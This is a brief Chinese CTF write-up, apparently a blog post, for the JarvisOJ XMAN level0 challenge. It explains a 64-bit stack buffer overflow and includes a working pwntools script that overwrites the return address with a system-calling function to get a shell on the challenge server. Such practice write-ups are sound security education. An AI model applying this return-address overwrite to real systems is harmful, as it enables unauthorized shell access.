[JarvisOj][XMAN]level0
首先在linux下 checksec
估计栈溢出
64位ida观看
有/bin/sh
再查看vulnerable_function函数,read可以读入0x200,即512个字符,而从buf到vulnerable_function的返回地址只有0x80+0x8,即136个字节 < 512,因此可以覆盖vulnerable_function的返回地址为call_system函数地址,即可getshell
# -*- coding:utf-8 -*- from pwn import * sh = remote("pwn2.jarvisoj.com",9881) junk = ‘a‘*0x80 fakebp = ‘a‘*8 syscall = 0x0000000000400596 payload = junk + fakebp + p64(syscall) sh.send(payload) sh.interactive()
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步